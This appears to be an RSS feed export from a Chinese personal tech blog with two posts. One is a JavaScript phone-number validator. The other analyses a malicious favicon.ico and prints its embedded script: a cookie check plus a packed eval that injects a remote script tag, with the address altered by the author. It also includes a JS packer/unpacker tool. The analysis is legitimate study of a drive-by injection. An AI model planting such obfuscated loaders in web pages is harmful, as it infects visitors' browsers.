<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>白舟工作室 &#187; js</title>
	<atom:link href="http://www.baizoo.cn/tag/js/feed" rel="self" type="application/rss+xml" />
	<link>http://www.baizoo.cn</link>
	<description>——长风破浪会有时</description>
	<lastBuildDate>Mon, 30 Jan 2012 08:09:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>使用JS来验证手机和电话号码的函数</title>
		<link>http://www.baizoo.cn/archives/1072.html</link>
		<comments>http://www.baizoo.cn/archives/1072.html#comments</comments>
		<pubDate>Wed, 01 Sep 2010 06:47:03 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=1072</guid>
		<description><![CDATA[使用JS来验证手机和电话号码的函数 说明 test方法检查在字符串中是否存在一个模式，如果存在则返回 true，否则就返回 false。 正则表达式部分： \d 代表一个数字 {7,8} 代表7－8位数字（表示电话号码） {3,} 代表分机号码 d{2,3} 代表区号 \+]\d{2,3} 代表国际区号 ^13\d{5,9}$/ //130–139。至少5位，最多9位 /^153\d{4,8}$/ //联通153。至少4位，最多8位 /^159\d{4,8}$/ //移动159。至少4位，最多8位 function Checkreg() { //验证电话号码手机号码，包含153，159号段 if (document.form.phone.value==&#8221;" &#38;&#38; document.form.UserMobile.value==&#8221;"){ alert(&#8220;电话号码和手机号码至少选填一个阿！&#8221;); document.form.phone.focus(); return false; } if (document.form.phone.value != &#8220;&#8221;){ var phone=document.form.phone.value; var p1 = /^(([0\+]\d{2,3}-)?(0\d{2,3})-)?(\d{7,8})(-(\d{3,}))?$/; var me = false; if (p1.test(phone))me=true; if (!me){ document.form.phone.value=&#8221;; alert(&#8216;对不起，您输入的电话号码有错误。区号和电话号码之间请用-分割&#8217;); [...]]]></description>
			<content:encoded><![CDATA[<p>使用JS来验证手机和电话号码的函数</p>
<p>说明<br />
test方法检查在字符串中是否存在一个模式，如果存在则返回 true，否则就返回 false。</p>
<p>正则表达式部分：<br />
\d 代表一个数字<br />
{7,8} 代表7－8位数字（表示电话号码）<br />
{3,} 代表分机号码<br />
d{2,3} 代表区号<br />
\+]\d{2,3} 代表国际区号<br />
^13\d{5,9}$/ //130–139。至少5位，最多9位<br />
/^153\d{4,8}$/ //联通153。至少4位，最多8位<br />
/^159\d{4,8}$/ //移动159。至少4位，最多8位</p>
<p><span id="more-1072"></span><br />
function Checkreg()<br />
{<br />
//验证电话号码手机号码，包含153，159号段<br />
if (document.form.phone.value==&#8221;" &amp;&amp; document.form.UserMobile.value==&#8221;"){<br />
alert(&#8220;电话号码和手机号码至少选填一个阿！&#8221;);<br />
document.form.phone.focus();<br />
return false;<br />
}<br />
if (document.form.phone.value != &#8220;&#8221;){<br />
var phone=document.form.phone.value;<br />
var p1 = /^(([0\+]\d{2,3}-)?(0\d{2,3})-)?(\d{7,8})(-(\d{3,}))?$/;<br />
var me = false;<br />
if (p1.test(phone))me=true;<br />
if (!me){<br />
document.form.phone.value=&#8221;;<br />
alert(&#8216;对不起，您输入的电话号码有错误。区号和电话号码之间请用-分割&#8217;);<br />
document.form.phone.focus();<br />
return false;<br />
}<br />
}<br />
if (document.form.UserMobile.value != &#8220;&#8221;){<br />
var mobile=document.form.UserMobile.value;<br />
var reg0 = /^13\d{5,9}$/;<br />
var reg1 = /^153\d{4,8}$/;<br />
var reg2 = /^159\d{4,8}$/;<br />
var reg3 = /^0\d{10,11}$/;<br />
var my = false;<br />
if (reg0.test(mobile))my=true;<br />
if (reg1.test(mobile))my=true;<br />
if (reg2.test(mobile))my=true;<br />
if (reg3.test(mobile))my=true;<br />
if (!my){<br />
document.form.UserMobile.value=&#8221;;<br />
alert(&#8216;对不起，您输入的手机或小灵通号码有错误。&#8217;);<br />
document.form.UserMobile.focus();<br />
return false;<br />
}<br />
return true;<br />
}<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/1072.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>js混淆加密解密器</title>
		<link>http://www.baizoo.cn/archives/969.html</link>
		<comments>http://www.baizoo.cn/archives/969.html#comments</comments>
		<pubDate>Fri, 05 Mar 2010 03:58:06 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[代码]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=969</guid>
		<description><![CDATA[今天上网的时候卡巴报了一个favicon.ico文件含病毒，我还是第一次发现favicon.ico可以挂马，于是下过来研究，这里分享一下研究过程。 下过来的favicon.ico文件中包含了一段js，代码如下： 注：js那段eval(&#8230;)的js代码可用js混淆加密解密器进行解密 js混淆加密解密器代码 alert(&#8217;123&#8242;); a= 1; b=2; alert(a+b);]]></description>
			<content:encoded><![CDATA[<p>今天上网的时候卡巴报了一个favicon.ico文件含病毒，我还是第一次发现favicon.ico可以挂马，于是下过来研究，这里分享一下研究过程。</p>
<p>下过来的favicon.ico文件中包含了一段js，代码如下：</p>
<p><span id="more-969"></span><br />
<br/><br/><br/><br/><br/><br/><br/><br/><br/></p>
<p><coolcode lang="javascript"><br />
<script language="javascript" type="text/javascript">
if(document.cookie.indexOf('helio')==-1)
{
var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString()
//设置cookies</p>
<p>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return   d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new   RegExp('\\b'+e(c)+'\\b','g'),k[c]);return   p}('1.7(\'<5 4=3 6="2://8.0"></5>\')',62,9,'com|document|http|javascript|language|script|src|writeln|xxxx'.split('|'),0,{}))
//js混淆后的iframe挂马(地址已被我修改)</p>
<p>;}
</script><br />
</coolcode><br />
注：js那段eval(&#8230;)的js代码可用<a href="http://www.baizoo.cn/tools/js-code.html" target=_blank>js混淆加密解密器</a>进行解密</p>
<p>js混淆加密解密器代码<br />
<coolcode lang="javascript"><br />
 <script>   
  a=62;   </p>
<p>  function   encode()   {   
      var   code   =   document.getElementById('code').value;   
      code   =   code.replace(/[\r\n]+/g,   '');   
      code   =   code.replace(/'/g,   "\\'");   
      var   tmp   =   code.match(/\b(\w+)\b/g);   
      tmp.sort();   
      var   dict   =   [];   
      var   i,   t   =   '';   
      for(var   i=0;   i<tmp.length;   i++)   {   
          if(tmp[i]   !=   t)   dict.push(t   =   tmp[i]);   
      }   
      var   len   =   dict.length;   
      var   ch;   
      for(i=0;   i<len;   i++)   {   
          ch   =   num(i);   
          code   =   code.replace(new   RegExp('\\b'+dict[i]+'\\b','g'),   ch);   
          if(ch   ==   dict[i])   dict[i]   =   '';   
      }   
      document.getElementById('code').value   =   "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return   d[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new   RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return   p}("   
          +   "'"+code+"',"+a+","+len+",'"+   dict.join('|')+"'.split('|'),0,{}))";   
  }   </p>
<p>  function   num(c)   {   
      return(c<a?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));   
  }   </p>
<p>  function   run()   {   
      eval(document.getElementById('code').value);   
  }   </p>
<p>  function   decode()   {   
      var   code   =   document.getElementById('code').value;   
      code   =   code.replace(/^eval/,   '');   
      document.getElementById('code').value   =   eval(code);   
  }   
  </script>   </p>
<p>  <textarea   id=code   cols=80   rows=20><br />
  alert(&#8217;123&#8242;);<br />
  a=   1;<br />
  b=2;<br />
  alert(a+b);<br />
  </textarea>   </p>
<input   type=button   onclick=encode()   value=编码>
<input   type=button   onclick=run()   value=执行>
<input   type=button   onclick=decode()   value=解码>
</coolcode></p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/969.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

